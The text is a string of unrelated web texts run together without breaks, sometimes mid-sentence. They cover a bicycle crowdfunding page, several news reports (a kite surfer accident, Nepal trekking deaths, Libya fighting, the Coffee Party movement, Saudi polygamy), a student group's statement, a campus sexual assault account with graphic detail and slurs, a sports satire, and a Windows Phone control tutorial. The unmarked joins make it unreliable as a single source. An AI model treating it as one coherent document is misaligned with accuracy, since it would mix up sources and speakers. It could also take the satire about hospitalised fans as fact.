We have been delighted with the response and support from all across the cycling spectrum and we would really like to thank those people who have shown their support, whether it be a comment on Instagram or a passing word of encouragement on the street. They have all spurred us on and helped make this bike a reality.
What People Say...
It is genuinely difficult to express the overwhelming response we have had from both the industry and public. The amount of appreciation and interest in the bike has been absolutely fantastic and we are pleased that people are so enthusiastic and welcoming of the bike’s design.
In owning one of these framesets or indeed bikes, one thing you will notice immediately are the constant looks and verbal appreciation you get from fellow cyclists and members of the public. It might sound a bit strange but its a great way to meet people as I fail to count the number of people from all warps of life that have stopped me to chat, ask questions or take photos of the bike. Its pretty cool riding through a park or road and hearing the people you pass comment on the bike.
Following our attendance at the Excel London Bike Show back in February we have been manufacturing the bike to order and in small quantities for mainly UK individuals and bike shops. We are using Kickstarter because we would like to expand our manufacturing and offer this unique bike to a much wide audience.
Riding a Sync
It is not only the reaction/appreciation from members of the public that makes owning a Sync bicycle a unique experience, but it is also the special ride quality of the bike/frame. The 'double S" shaped frame has been painstakingly developed to deliver strength and stability, but at the same time allow some natural flexibility, which has become a favoured quality of the bike for those who have ridden one.
Size...
Please use the below sizing chart to determine which bike frame will suit you best. We will contact you after the campaign has finished to confirm the size of your framese or bike.
Sizing Chart
Colour Options...
If you select a reward that includes custom paint, then please click the colour chart below and decide the colour you want. We will contact you after the campaign has finished to confirm your colour choice.
Colour Chart
Our Rewards...
Postcards of Gratitude
Sync Mug
Sync t-shirt
Size: S M L XL XXL
Chest: 34-36 38-40 42-44 46-48 50-52
Body Length: 27 29 30 31 31.5
Sync Poster: Option 1 (601mm x 847mm)
Sync Poster: Option 2 (601mm x 847mm)
Sync Wall Canvas (16" x 24")
Sync frameset Weight: 5.2KG
Complete Sync Bicycle Weight: 9.8KG
Delivery
We have experience with delivering bicycles to all parts of the world using our well known and respected couriers (UPS, FedEx TNT and Parcelforce). We are committed to ensuring fast and affordable delivery to all parts of the world. If your country is not on our dropdown list, then please get in touch and we will provide you with the cost of delivery.
We Need Your Support
We hope you are inspired and excited about supporting Sync Bicycles. We have developed and refined the bike and have sold them in small quantities around the UK, but with your support we hope to increase production and make this big! We would be so thankful if you helped support the campaign and shared the project with your friends and family. Thank you!A kite surfer in San Francisco was blown from the ocean onto a busy coastal thoroughfare and struck by a car Friday, police said. Jean Elle and Jeff Ranieri report. (Published Friday, Sept. 4, 2015)
Kite Surfer in Critical Condition After Being Blown Onto Great Highway, Struck By Car: Police
A kite surfer in San Francisco was blown from the ocean onto a busy coastal thoroughfare and struck by a car Friday, police said.
The incident was reported at 3:12 p.m. at the intersection of the Great Highway and Sloat Boulevard near the zoo, according to the San Francisco Police Department.
Police said the surfer was setting up his board when a gust of wind, which reached 42 miles per hour, lifted and deposited him in the highway's southbound lane where he was hit by a car.
But a witness told NBC Bay Area that the man was in the ocean and carried nearly 50 feet over sand dunes and parking spaces into the path of oncoming traffic. The surfer was caught in an uncontrolled spiral and unable to safely eject, he said.
Kite Surfer Blown Onto Great Highway, Struck By Car
A kite surfer was blown from the ocean onto the Great Highway and struck by a car Friday, police said. Jean Elle and Jeff Ranieri report. (Published Friday, Sept. 4, 2015)
The victim was transported to San Francisco General Hospital with life-threatening injuries, police said, stressing that this is not a hit-and-run collision.
Police, who deemed the accident bizarre, temporarily closed the Great Highway's southbound lanes near Lincoln Way during the investigation. They were reopened around 5:30 p.m., officials said.
Anyone with information about the incident is asked to contact the SFPD anonymous tip line at 415-575-4444 or text a tip to TIP411 with SFPD at the beginning of the message.Young Americans for Freedom at UCLA condemns the protesters from Refuse Fascism Los Angeles who temporarily suspended the question-and-answer portion of the panel titled “What Is Civil Discourse? Challenging Hate Speech In A Free Society” hosted Tuesday evening by the United States Holocaust Memorial Museum and UCLA.
The turn of events were ironic, to say the least. “What is Civil Discourse” was intended to inform students about what a civil, courteous discussion entails. Instead, it turned disturbinglyuncivil when protesters shouted over speakers, blocked aisles and disrupted the event to the point where the remnants of the event were moved to another room. Consequently, the majority of the audience left and few were able to ask questions.
The form of protest seen during the event is not only counterproductive and insulting to the speakers, one of whom is a child of Holocaust survivors, but antithetical to the purpose of the university. By shouting, rather than discoursing, the student protesters demonstrated they disdain discussion, discourage conversation and reject dialogue. A lecture dedicated to promoting civil discourse is not a place to scream and yell for a perceived “righteous cause.” While shouted protests have a place, a lecture intended to show what a calm conversation looks like is not the venue.
Political discussion need not degenerate into shouting matches, but rather should be polite, in-depth and civil. Granted, politics has often not been civil itself, but we need not hold to the model of the past. Let us be adults and talk about our differences using our experiences, perspectives and knowledge. Let us learn from each other and those who have the wisdom of years. And let us proudly enshrine each other’s right to free speech, especially when we disagree.
We at YAF invite Refuse Fascism members to civil discourse and hope all of us can have a reasonable debate with the free exchange of ideas. If Refuse Fascism honestly wishes to convince and educate, rather than merely raise tensions, it can participate in the great conversation of thought.
Fascists tend to shut down free speech, just like Refuse Fascism, |
her university to face a cost. Last week, a Baltimore-based lawyer, Steven Kelly, took on her case, which he called "one of the most egregious I've seen." He plans to sue the school, possibly under Title IX, which requires schools receiving federal funds to address sexual violence, or for simple negligence. And the sanction of her alleged perpetrator is just one of the many ways Hope says she was failed by Cal U. “It got to the point where the university violated my basic human rights so much,” she said, “that their assault on me feels worse than the initial attack from my perpetrator did."
The incident
Kelsey Hope her first week as a freshman at Cal U, the night orientation ended. She said she loved the school when she started, and got very involved in student government. Courtesy of Kelsey Hope It was February 2012, and the guy had been making Hope feel uncomfortable all night. He kept encouraging her to drink, but Hope, who doesn’t like alcohol much, said she just took a sip of punch. On the drive home, Hope remembers him watching her kiss the boy she was dating in the rearview mirror. She remembers him remarking, “I need some pussy, you should share the wealth.” He’d also been fooling around with a knife, she said, which he kept in his pocket. The guy was a new friend of the boy she was seeing, and a fellow student at Cal U. Back on campus, Hope took her date, who had drunk too much, back to his room. When she was heading to bed for the night, the friend was sitting in the dorm lobby. He asked if she wanted to go smoke a joint. Hope, then an 18-year-old freshman, agreed. She said she didn’t want to hurt his feelings. After getting high in his dorm room, Hope said she felt so dizzy that she thought the joint might have been laced. She was sitting cross-legged on the end of the bed by the window, she remembers, and he reached for her knee. When she protested, she said he snapped. “I’ve never heard sounds like that come out of any man before,” she said. “He was like an animal, he made these growling noises. It was horrifying.”
I couldn’t break down until I felt I was safe. I was in total survival mode. I was not even human anymore. Kelsey Hope
The guy yanked her hair around his hand, put her in a headlock, slammed her belly-down onto the bed, pulled down her shirt, bra, and then her pants, and rammed his fingers inside her, she said. “I remember begging him, ‘No, no, no, no.’” Then, he was interrupted – either his roommate called or showed up in the room. Hope’s memory is muddled, but she does remember bolting for the door and racing down the stairs to her room in a panic, as the guy followed her. When she got to her room, she said he put his hand in the door to keep her from shutting it. When a noise down the hall signaled someone was coming, she said she finally closed the door, went into her bathroom, locked it, and stood frozen for around 10 minutes, before heading back into the hall. He was gone. “I just started crying hysterically,” she said. “I couldn’t break down until I felt I was safe. I was in total survival mode. I was not even human anymore.” That’s when Dylan Weyant, then a friend of Hope’s and fellow Cal U freshman, spotted her. “She was crying profusely,” Weyant said. “She was just a mess.” Hope then received a text from her alleged assailant, she says, asking if the situation would be, “just between us?” In his interview with a university administrator, reported in official university documents, the alleged perpetrator said that Hope “initiated contact by ‘grinding’ against him and kissing was mutual,” but that she “pulled back from physical contact (‘grinding’) twice,” saying “she wanted to have sex with him but knew she shouldn’t because she was in a relationship with someone else.” He said that the third time she initiated contact, he put “his hand down her pants” and that she withdrew it. He also stated that he escorted – not followed – Hope to her room at the end of the night. A week later, Hope was diagnosed with acute post-traumatic stress disorder, according to a doctor’s note. “It doesn’t matter what you wear at all," she said. "But for the record, I was in a turtleneck.”
‘On a silver platter'
At a school conduct hearing in April 2012, Hope said the accuser repeatedly called her “a stupid bitch,” and no one objected. He was also wearing, Hope remembers distinctly, a bracelet that read: “I heart vagina.”
Hope said she showed this photo of a bruise on her shoulder to school administrators, but official documents show the university was unable to conclude whether force was used. Hope said the police told her that she could have done it to herself. In its final report, the university didn’t make any judgment on the disputed facts – it didn’t have to. Based on the man’s own words, he was found responsible for sexual misconduct, because “putting his hand down the complainant’s pants went beyond what was being consented to.” Under the school’s own definition, that was “non-consensual sexual contact” – or sexual assault. Kindl said it “is neither appropriate nor legally permissible” for her to comment on any of the specifics of Hope’s case. In a lot of sexual assault cases, administrators give students a slap on the wrist because they’re unable or untrained to ferret out what truly happened, according to Colby Bruno, the senior legal counsel at the Victim Rights Law Center in Boston. And with little physical evidence of what took place, there’s often the concern that the accused could sue. But that wasn’t an issue in Hope’s case. “Even weighing the evidence in his favor, he admitted to a sexual assault,” said Bruno. “That’s the case where the school says, ‘Hallelujah’… What they had was his expulsion on a silver platter.” The fact that his sanction was an educational video sends a clear message, Bruno said. “You’re basically telling students it’s OK to sexually assault someone and then admit it,” she said. “That is 100-percent condoning sexual assault on their campus.”
A lot of grief
With dozens of colleges under federal investigation for how they handle sexual assault, many have wondered why victims don’t just go to the police. Only a tiny fraction of college women who say they’ve experienced sexual assaults report it to law enforcement, many because they fear hostile treatment. But Hope was one of the few. The night of her alleged assault, after getting a medical check and giving statements to the university police, it was around 4 a.m., and Hope said she just wanted to go home. But halfway through the drive back from the hospital, and despite the protests of Hope and her then-best friend Chelsea Eckles, the officer insisted that they go the police station, they say. The sun was already up when they left the station that morning, after several hours so disorienting and hostile that Eckles said that to this day she avoids the building, and Hope said just the sight of the police gave her panic attacks for months.
I think you’re a fucking cunt and you’re getting fucked, you’re getting fucked. Male university police officer
The two girls say it was clear that the officer leading the questioning didn’t believe Hope, hammering on questions about alcohol and drugs, warning her that she was causing a lot of people a lot of grief and urging her to rethink what she was doing. And even though she begged, Hope said she was never given the option to leave. Hope said she was later encouraged by the police not to press charges. Eckles said she was called into the police station separately, where an officer tried to push her to say that Hope was looking for attention. “All University police officers are trained to assist sexual assault victims and to maintain the crime scene/evidence,” according to the school’s annual security report. Requests for comment were directed to Kindl, Cal U’s spokeswoman, who refused to respond to the allegations or provide details on what that training is, but said all university officers are fully licensed by the state. A few days after the incident, one of Hope’s friends was in a bar, and heard a few off-duty officers discussing Hope’s case, using her full name. Shocked, the friend, who asked to remain anonymous, hit record on her phone. In the audio, a female voice says, “It’s my understanding that you were hostile to a sex assault victim... Kelsey Hope.” A male voice, who the friend identified as a university police officer, replied: “I’m going to fucking tell her the way I fucking see it… I think you’re a fucking cunt and you’re getting fucked, you’re getting fucked.”
‘Toothpaste out of the tube’
Kelsey Hope with two of the kids she tutored and mentored in the nearby projects her freshman year. It was one of the multiple extra-curriculars she dropped in the aftermath of her alleged sexual assault. "I hated the university after this," she said. "I didn’t want to give any of myself for this." Courtesy of Kelsey Hope Hope also filed a no-contact order through Cal U, which banned communication between the parties. Kindl said it “may take a day or two” after a no-contact directive is made to move a student into another dorm. But a timeline made by the administration shows that it took the school 12 days to get the man to move out of the dorm building that they shared. And it took 17 days for them to confiscate his knife. Too scared to be on campus, Hope says she lived at home during this time, and ended up dropping four of her classes. She’s now graduating a semester late, which she says means thousands of additional dollars in student debt. “I just wanted to continue my education,” she said, “and I was denied that right.” Hope says her alleged perpetrator violated the no-contact order multiple times, including the night before the conduct board hearing when a witness and security footage, she said, caught him in her dorm building. Violating the order should have put his status as a student "in jeopardy" and resulted in "possible criminal action," according to the letter he received, but Hope said the police didn’t do anything. And emails and school documents show that university officials refused to tell her if he had been punished.
I was afraid of everyone. Everyone was like him to me. Kelsey HopeKathmandu, Nepal (CNN) Tens of thousands of international visitors come to Nepal each year to explore the spectacular Himalayan Mountains, providing poor communities with millions of dollars that they desperately need.
The perils of that endeavor revealed themselves in stark fashion Tuesday, when at least 17 people from around the world died after being trapped in heavy snowfall while trekking at high altitude.
A dozen of the deaths were in the popular Annapurna region, Nepal army spokesman Niranjan Shrestha said, while another five were in the neighboring Manang district.
Officials say more people are missing and it is feared the toll could rise.
This is already one of the deadliest such tragedies in the history of Nepal, a nation of about 26 million known worldwide for its spectacular mountain ranges, including Mount Everest.
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The deaths -- said to be the result of two days of unusually heavy snow caused by Cyclone Hud-hud in eastern India -- come only six months after tragedy last struck on the slopes of Mount Everest..
Then, a bruising avalanche of ice swept 16 Sherpas to their deaths. After the accident, which came right before the peak season in May, many Sherpas refused to climb and at least six companies that lead Everest expeditions called off their 2014 climbs.
While only the fittest sign up for a mountaineering feat like climbing Everest, trekking through the dramatic Himalayan landscape -- while challenging -- is accessible to many more.
Last year, 102,000 foreigners came to Nepal to take part in trekking and mountaineering, the vast majority of them trekkers.
The Annapurna region is the most popular trekking area in the country and attracts many visitors every fall, the better of the two seasons -- the other being spring -- to join organized multiday hikes.
Conditions in the Himalayas can be cruel. But trekkers dying in snowstorms is almost unheard of.
The Annapurna region of the Himalayas in Nepal is extremely popular with hikers.
Bodies buried under snow
The loss of lives Tuesday will affect many nations, and could dent confidence in an industry vital to Nepal's economic well-being.
Of the 12 killed in the Annapurna region, only four bodies have so far been recovered, of two Poles, an Israeli and a Nepali.
Eight more remain buried under the suffocating snow. Their nationalities are not known, said Shrestha, the army spokesman. It is also unclear if any more are missing, he said.
The trekkers died Tuesday evening near the iconic 5,416-meter (17,770-foot) Thorung La Pass in Mustang district, the highest point of the 21-day Annapurna Circuit trek, he said.
"Those who stayed back in lodges because of poor weather survived," he said.
Two army helicopters on Wednesday rescued 38 more trekkers who were trapped in the unseasonably heavy snowfall, Shrestha said.
About 50 kilometers (31 miles) to the west, five people -- two Slovaks and three Nepalis -- are missing after an avalanche Tuesday night at the base of Mount Dhaulagiri, the world's seventh-highest mountain, police and a local outfitter said.
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Baburam Adhikari, the top government official in Mustang district, said 244 trekkers crossed the Thorung La Pass and came to the village of Muktinath on Monday and Tuesday. But there is no information on how many began the trek from the other side of the pass in Phedi.
"We do not know how many are missing, but there is a possibility that there are people missing," he said.
Those who died seem to have lost their way in the snow. A rescue team found a group of German tourists at midnight Tuesday, he said.
Search operations will continue Thursday.
Injured trekkers rescued
Five other trekkers -- four Canadians and an Indian -- died in remote Manang district Tuesday, and their bodies were found Wednesday, Manang district police official Narayan Datta Chapagain told CNN via phone.
A Nepal army helicopter rescued three injured Canadians and their Nepali guide from Manang, Chapagain said, adding that he did not know about the condition of the injured.
The details of the deaths of the four Canadians and one Indian are unclear, according to Chapagain, but he said they were caused by heavy snow.
Nepal's government has said it aims to welcome some 2 million visitors annually by 2020, with tourism central to a sustainable national economy.
It usually rakes in about $3 million from Everest climbers during the May high season.
But most of the nearly 500 who had planned the ascent in 2014 abandoned their climbs, with only one Chinese woman making it to the summit.Media playback is unsupported on your device Media caption The BBC's John Simpson reports from Ras Lanuf on a counter-offensive mounted by supporters of Col Gaddafi
A day of fierce fighting in Libya has seen rebels trying to hold back an intensified counter-offensive by forces loyal to Col Muammar Gaddafi.
Rebels said they repelled government forces from Zawiya, west of Tripoli, after intense fighting.
Further east, government troops fought their way into Misrata using tanks and artillery, before being forced back.
Helicopter gunships strafed Bin Jawad, prompting a retreat by rebels who had captured the coastal town on Saturday.
Tripoli has been Col Gaddafi's main stronghold as he attempts to reassert control over the country from rebels, who have taken much of the east of the country as well as some towns closer to Tripoli, in the west.
Meanwhile, the UN says Col Gaddafi's government has agreed to allow a "humanitarian assessment" team to visit Tripoli. The UN has appointed former Jordanian foreign minister Abdelilah al-Khatib as its special envoy to Libya.
'Bombs and bullets'
The UN has also demanded immediate access to Misrata to help the injured.
Some of Sunday's heaviest fighting was reported in the city, 200km (125 miles) east of Tripoli, where a local doctor told the BBC the situation became "very bad" after pro-Gaddafi forces with tanks and armoured cars went into the city centre and opened fire.
At the scene For the first time, Col Gaddafi's forces are standing their ground and the rebels have suddenly found they've got a fight on their hands. Planes and at least one helicopter have been flying over Ras Lanuf, spying out its defences, and the further the rebels get to Col Gaddafi's tribal stronghold of Sirte along the coast, the more sophisticated is the equipment used by the pro-Gaddafi forces. We were driving close to Bin Jiwad where the fighting is concentrated when two big mortar bombs landed quite nearby. The rebels don't seem so enthusiastic and excitable any more. Their mood is grimmer and more determined now. Col Gaddafi's television service in Tripoli has been claiming that his troops have recaptured Ras Lanuf, the strategic oil terminal, but for now it's still firmly in the hands of the rebels. But there is a great deal of nervousness among the defenders at present, and they're firing their guns defiantly into the air from time to time.
He said they shot at people whether they were armed or not, and Reuters quoted a witness as saying at least 18 people were killed before the pro-Gaddafi forces were pushed out of the city five hours later.
A resident of Misrata, Mohamed Benrasali, told the BBC there were joyous scenes there as the Gaddafi forces were turned back.
He said one government tank had been blown up and 16 Gaddafi soldiers killed. Other soldiers had been captured and would be interrogated on Monday.
He vowed "to fight to the last man, woman and bullet" if the Gaddafi forces returned.
With a 300,000-strong population, Misrata is the largest town controlled by rebels outside their stronghold in the eastern part of the country
That stronghold is focused in Benghazi, where they have set up a Transitional National Council that has called on the international community to recognise it as Libya's sole government.
Meanwhile, troops backed by helicopter gunships attacked the major oil town of Ras Lanuf which was taken by rebel forces on Saturday. It is 160km east of Col Gaddafi's stronghold of Sirte.
Rebels said their forces withdrew from Bin Jawad - about 50km north-west of Ras Lanuf - after coming under attack when they advanced.
"We got thrown by bombs and by snipers from the side roads that we can't see," said one rebel, Jamal Al Karrar, of the attack. "All I saw is bombs and bullets and we were trying to escape... It was really scary."
As well as facing stronger resistance, rebels are also running short of fuel, which is increasing their anxiety, correspondents say.
In Zawiya, rebel spokesman Youssef Shagan told Reuters: "This morning, there was a new attack, bigger than yesterday. There were one and a half hours of fighting... Two people were killed from our side and many more injured. We are still in full control of the square."
Humanitarian appeal
Sunday's fierce fighting in Misrata sparked UN calls for immediate access to the "injured and dying" as local residents urged more action from the international community in the form of enforcing a no-fly zone over Libya.
"Humanitarian organisations need urgent access now," said UN emergency relief coordinator Valerie Amos.
"I call on the authorities to provide access without delay to allow aid workers to help save lives."
The UN estimates that more than 1,000 people have died in nearly three weeks of unrest in Libya, which follows public protests in neighbouring Tunisia and Egypt that saw their longtime authoritarian leaders overthrown.
An estimated 200,000 people - mostly foreign workers - have fled the country, creating a humanitarian crisis along Libya's border with Tunisia.
The UN Security Council approved sanctions last week imposing asset freezes and travel bans on Col Gaddafi and his family and aides.
The resolution also referred Col Gaddafi and his inner circle to the International Criminal Court for investigation of crimes against humanity.
In other developments:283 Shares
OAKLAND, CA – Sharpshooter Stephen Curry has officially suffered a sprained right MCL, which is so painful that it is in fact radiating to the chest of every Golden State Warriors fan in the country.
Curry will miss at least 2 weeks; Warrior fans possibly more. “It’s substernal, hurts when I breathe,” said Warriors fan Erica Jones, one of thousands and thousands getting ruled out at Highland Hospital.
“I mean, 73 wins is great but we want more. Without Steph… I mean, the team’s great but… Oh God, I’m feeling nauseous, sweating… someone get me some morphine!!!”
Medical personnel are hoping each Warrior fan improves as Curry gets some rest. Though the Warriors are up 3-1 on the Rockets, area hospitals like Highland Hospital are boosting their support staff and resources as the road through the West looks even tougher now. “If the Warriors don’t bring home a championship, we will see a chest pain epidemic like never seen before.” No abnormal troponins have been detected thus far, though this expects to change after Game 5 tip off.WP7 InputPrompt in depth
published on: 2/9/2011
Currently rated 4.33 by 6 people
Rate Now!
by WindowsPhoneGeek
In this article I am going to talk about the InputPrompt control from the Coding4fun Toolkit in details. I will explain everything about the main features, available public API, and will give lots of examples in different scenarios.
Basically InputPrompt is an UI component that derives from the toolkit`s abstract PopUp<T, TPopUpResult> class. As its name says it is a kind of extended popup that prompt user to enter input.
NOTE: In this article I will use the latest change set 61830 :Coding4Fun Tools FIXES until the latest change set 61830 (the assembly is attached to the sample project at the end of the article).
Getting Started
To begin using InputPrompt first add a reference to the Coding4Fun.Phone.Controls.dll assembly.
NOTE: You have to download and rebuild the Coding4Fun Toolkit project in order to generate the assembly.
Generally the InputPrompt is designed to be used in code. The sample code should looks like:
private void Input_Click(object sender, RoutedEventArgs e) { InputPrompt input = new InputPrompt(); input.Completed += input_Completed; input.Title = "Basic Input"; input.Message = "I'm a basic input prompt"; input.Show(); }
void input_Completed(object sender, PopUpEventArgs<object, PopUpResult> e) { //add some code here }
Basic Structure
Key Properties
InputScope
This is a dependency property of type InputScope. It gets or sets the InputScopeof the InputPrompt control.
Value
This is a dependency property of type string. It gets or sets the startup value of the input box l.
Title
This is a dependency property of type string. It gets or sets the Title of the InputPrompt control.
Message
This is a dependency property of type string. It gets or sets the Message of the InputPrompt control.
HasGesturesDisabled
This is a dependency property of type bool. It determines whether Gestures are disabled or not disabled.The default value is true.
NOTE: With the current Gesture Service in the Silverlight Toolkit (November 2010 release), if two controls are overlapped and the bottom control has a listener attached, events will still bubble through with no way to cancel it without putting on a listener. In a control that is called PopUp, it is self defeating to have this bubble through effect happening. If the SL toolkit corrects the behavior then the Coding4fun team will remove this as it would no longer be needed. This would also remove the dependency on the Silverlight Toolkit.
Overlay
This is a dependency property of type Brush. It gets or sets the overlay of the InputPrompt control.
IsOpen
Determine whether the popup is opened or not.
Key Methods and Events
Show()
This method shows the InputPrompt control.
Completed event
This event Occurs when the popup is closed.
Examples
1.Usage with EmailSmtpAddress InputScope
In this example I will demonstrate how to use the InputPrompt basic properties. Note that InputScope can be set to different values from the InputScopeNameValue collection:
private void inputScopeSample2_Click(object sender, RoutedEventArgs e) { InputPrompt input = new InputPrompt(); input.Completed += new EventHandler<PopUpEventArgs<string, PopUpResult>>(input_Completed); input.Title = "EmailSmtpAddress"; input.Message = "I'm a message about EmailSmtpAddress!"; input.InputScope = new InputScope { Names = { new InputScopeName() { NameValue = InputScopeNameValue.EmailSmtpAddress } } }; input.Show(); }
2.Usage with TelephoneNumber InputScope and different Colors
In this example I will demonstrate how to use the InputPrompt with TelephoneNumber InputScope and also I will add some colors to customize the UI.
private void inputScopeSample1_Click(object sender, RoutedEventArgs e) { InputPrompt input = new InputPrompt { Title = "TelephoneNum", Message = "I'm a message about Telephone numbers!", Background = new SolidColorBrush(Colors.Green), Overlay = new SolidColorBrush(Color.FromArgb(200, 255, 117, 24)) }; input.Completed += input_Completed; input.InputScope = new InputScope { Names = { new InputScopeName() { NameValue = InputScopeNameValue.TelephoneNumber } } }; input.Show(); }
3. InputPrompt Value property demo
This example demonstrates how to set the default text that appears in the input box on startup.
private void inputPrompt_Click(object sender, RoutedEventArgs e) { InputPrompt input = new InputPrompt(); input.Value = "Enter some text here"; input.Show(); }
That was all about the InputPrompt control from the Coding4fun Toolkit in depth. You can find the full source code here:
I hope that the article was helpful.
You can also follow us on Twitter: @winphonegeek for Windows Phone; @winrtgeek for Windows 8 / WinRT
Comments
Modal posted by: JD on 2/12/2011 12:58:49 AM Could it behave as a Modal window? Say, to use such as: if(MessageInput.Show(...) == Ok) { //...do something }
Multiple Prompt posted by: Neeraj Saini on 8/27/2011 1:54:46 AM I want to prompt the user for Old Password New Password Confirm Password. I was not able to add all 3 input boxes to the Prompt. Is this possible with this toolit if so can you give some example?
Missing Method posted by: MC Kool on 10/23/2011 2:18:47 PM I have a problem with InputPromt! I have a exeption when i try to run it: Method not found: r rlib, Version=3.7.0.0, Culture=neutral, PublicKeyToken=969DB8053D3322AC.System.Threading.Monitor.
Problem with InputPromt posted by: Xe77a on 1/2/2012 1:20:45 PM I have also mentioned error: Method not found: r rlib, Version=3.7.0.0, Culture=neutral, PublicKeyToken=969DB8053D3322AC.System.Threading.Monitor. What could be the solution to the problem?
Question posted by: Pedro on 1/7/2012 12:33:12 AM Would it be possible to make the InputScope an AutoCompleteBox?
Question posted by: PedroGF on 1/31/2012 5:07:01 PM How do I get the written text in textBox(inputBox)?
Question posted by: PedroGF on 1/31/2012 5:07:46 PM How do I get the written text in textBox(inputBox), in inputPrompt? PLEASE
Solution for Version=3.7.0.0, Culture=neutral, PublicKeyToken=969DB8053D3322AC.System.Threading.Monitor. posted by: Nokia Lumia 800 on 3/7/2012 12:50:16 AM Hi Friends, Recenlty I started using Coding 4 Fun Phone Toolkit...for the Message Prompt and Input Prompt but there seems to be some inconstitency with libraries used in example and the latest Version: v1.5.1 | Release date: 1/1/2012 libraries provided by them. Hence some of us get the Error:- "Version=3.7.0.0, Culture=neutral, PublicKeyToken=969DB8053D3322AC.System.Threading.Monitor." After hours of debugging I was able to trouble shoot the Error and compile the code and use the control. Simply copied the libraries (Coding4Fun Phone Controls & Microsoft Phone Controls Toolkit) from the Message Prompt example I had downloaded. Here is the link for it. http://www.windowsphonegeek.com/articles/Coding4Fun-WP7-Message-Prompt-in-depth Hope this helps some of the developers in the community. Thanks. Fun Coding WP 7 Apps.
is this problem solved? posted by: dim on 3/17/2012 8:12:03 PM Method not found: r rlib, Version=3.7.0.0, Culture=neutral, PublicKeyToken=969DB8053D3322AC.System.Threading.Monitor.
TIPSnTUTS.com posted by: TIPSnTUTS.com on 2/21/2013 10:32:00 PM Get Value of Box by e.Result private void input_Completed(object sender, PopUpEventArgs e) { MessageBox.Show(e.Result); }
Specific input for numbers posted by: Hamza on 8/7/2013 2:38:20 PM hi! can we use (inputscope= num like in textbox) in input prompt? thanks!
Center the text posted by: Neobie on 4/5/2015 1:23:01 PM Hi, Any idea how to make text align to center for the input box?Washington (CNN) -- The new Coffee Party movement deemed its official kickoff Saturday a "huge success," with dozens of talks held at coast-to-coast coffee shops as members came together to discuss the issues most important to them.
Billed by many as an answer to the conservative Tea Party movement, the Coffee Party was born on Facebook just six weeks ago. While the group has become an instant hit online -- it boasts more than 141,000 Facebook fans as of Saturday -- gauging the success of this weekend's coffee meetups was predicted to be an indicator of the group's strength.
A statement released by the party said "today's coffee houses have been a huge success -- both for Coffee Party USA and for democracy. All across the U.S., Americans from all political sides sat down for civil conversation and, of course, coffee."
At Java Monkey in Decatur, Georgia, a suburb of Atlanta, coordinator Stacey Hopkins said turnout far exceeded expectations, with around 60 people participating at the "very productive" meeting where health care reform was the overriding issue.
"We had kids there, we had college students, high school students, and we had retirees," she said. "It went across a very broad spectrum age wise and racially, and this is that we'd like to see."
Were you at a Coffee Party gathering? Share your images, story
In Asheville, North Carolina, about 35 people gathered at Filo Pastries and Coffee, according to CNN iReporter Rachael Jernigan, a stay-at-home mom who coordinated the meeting.
"I think the biggest thing to come out of it was people were tired of being labeled and divided," said Jernigan, who added that a Tea Party member was among the attendees. "They do agree on a lot."
About 30 people came out to a meeting at Raleigh, North Carolina's Cup A Joe, said CNN iReporter Davis Hall.
"I really liked what the Coffee movement said the foundation was -- which is to get everybody of all stripes of life to get together," Hall said.
The meetings were among about 350 the party planned to hold Saturday.
Coffee Party founder Annabel Park, who worked as a volunteer for Barack Obama's presidential campaign and Democratic Sen. Jim Webb of Virginia's 2006 campaign, says the group is not "aligned" with any party and calls the two-party system out of date.
Park said the bitter battle over health care is an example of how government is not working.
"We feel like the health care debate showed not only that we are a very divided country, but there's something really wrong with our political process. We kind of got to see the innards of the political process and realize there's something very broken. I think that's what we're responding to."
The party statement said the next step "is to dig into what our community discussed (and) find out what matters most to them." Park said the Coffee Party's first real national action will be March 27, when members will get together to discuss ways to engage members of Congress during the Easter recess.
"Just like in the American Revolution, we are looking for real representation right now. We don't feel represented by our government right now, and we don't really feel represented well by the media either," Park said last week on CNN's "American Morning." "It's kind of a simple call to action for people to wake up and take control over their future and demand representation. And it requires people standing up and speaking up."
Sound familiar? Tea Party activists use much of the same language in describing their year-old protest movement that's steeped in fiscal conservatism and boiling-hot, anti-tax rhetoric.
"It's a response to how they are trying to change our government," Park told CNN, referring to the Tea Party. "It's their methodology that we are against. We may want some of the same things, but their journey is so alienating to us."
So what does the Tea Party movement think of this new sensation?
"This Coffee Party looks like a weak attempt at satire or a manufactured response to a legitimate widespread grassroots movement," says Brendan Steinhauser, director of federal and state campaigns for FreedomWorks, a nonprofit conservative organization that helps train volunteer activists and has provided much of the organizational heft behind the Tea Party movement.
"It's driven from the top down and it's not a grass-roots movement driven from the bottom up," Jim Hoft of the St. Louis Tea Party said.
CNN Deputy Political Director Paul Steinhauser contributed to this report.Today's Top News Stories • Report: In U.S., record numbers are plunged into poverty - • VP's plane has minor electrical problem - • Israeli troops raid West Bank city - • Severe storms injure 27 in Arkansas - • Va. lawmakers pass slavery apology - • Add USATODAY.com RSS feeds
Saudi man with 58 wives stirs polygamy debate USFAN, Saudi Arabia (AP) In 50 years, he says, he has married 58 women and has forgotten the names of most of them. He knows he has had 10 sons, but ask about daughters and he counts on his fingers: 22. No, no, 28. No, that's too many. He settles on 25. 'I'm the happiest man in the world,' says Saleh al-Sayeri. By Hasan Jamali, AP Saleh al-Sayeri, a 64-year-old shepherd-turned-businessman, says his marital adventures have cost him more than $1.6 million in wedding expenses and settlements for divorced wives. But the man who remembers being forced into his first marriage at age 14 says he'd do it a million times over. "Marriage doesn't bore me," he said, relaxing on cushions at a carpeted, open-air reception area in his 22-horse stable in Usfan, in the desert 500 miles west of Riyadh. "I'm the happiest man in the world." Al-Sayeri's story might seem a bizarre curiosity, but it touches a nerve in Saudi Arabia, the status of whose women is a matter of international controversy. When it surfaced in Saudi media in March, some readers reacted angrily. A woman who identified herself as Maryam, a convert to Islam, wrote to the Arab News, an English-language daily, that al-Sayeri's story "really sent me over the edge." "What kind of a family structure is this? What is divorce doing to the psychologies of the ex-wives and children? How can this man devote any quality time to his children — teaching them about Islam and being a constant role model?" She wrote. Sayyidaty magazine, which interviewed al-Sayeri, also spoke to psychiatrist Mona al-Sawwaf who said al-Sayeri does not treat a wife as a human being "but as a piece of clothing he can change whenever he pleases or an object." "The biggest blame lies with the parents" who let their daughters enter such marriages, she said. Al-Sayeri dismisses such critics as "crazy," insisting he is not breaching Islamic laws, which permit a man to have four wives at a time. "I have a clear conscience," he said. None of Al-Sayeri's ex-wives could be reached. He said many have remarried, but to reveal their identity would be a gross violation of Saudi custom. One of his sons said his mother has remarried, but refused to give details. Divorce has become quite common in the kingdom, with press reports saying half of all marriages break up. But the fate of a divorced woman depends on her parents' frame of mind. If they oppose the divorce, they likely will confine her to the house and monitor her movements. She will be barred from dating or working without family permission. The notion of 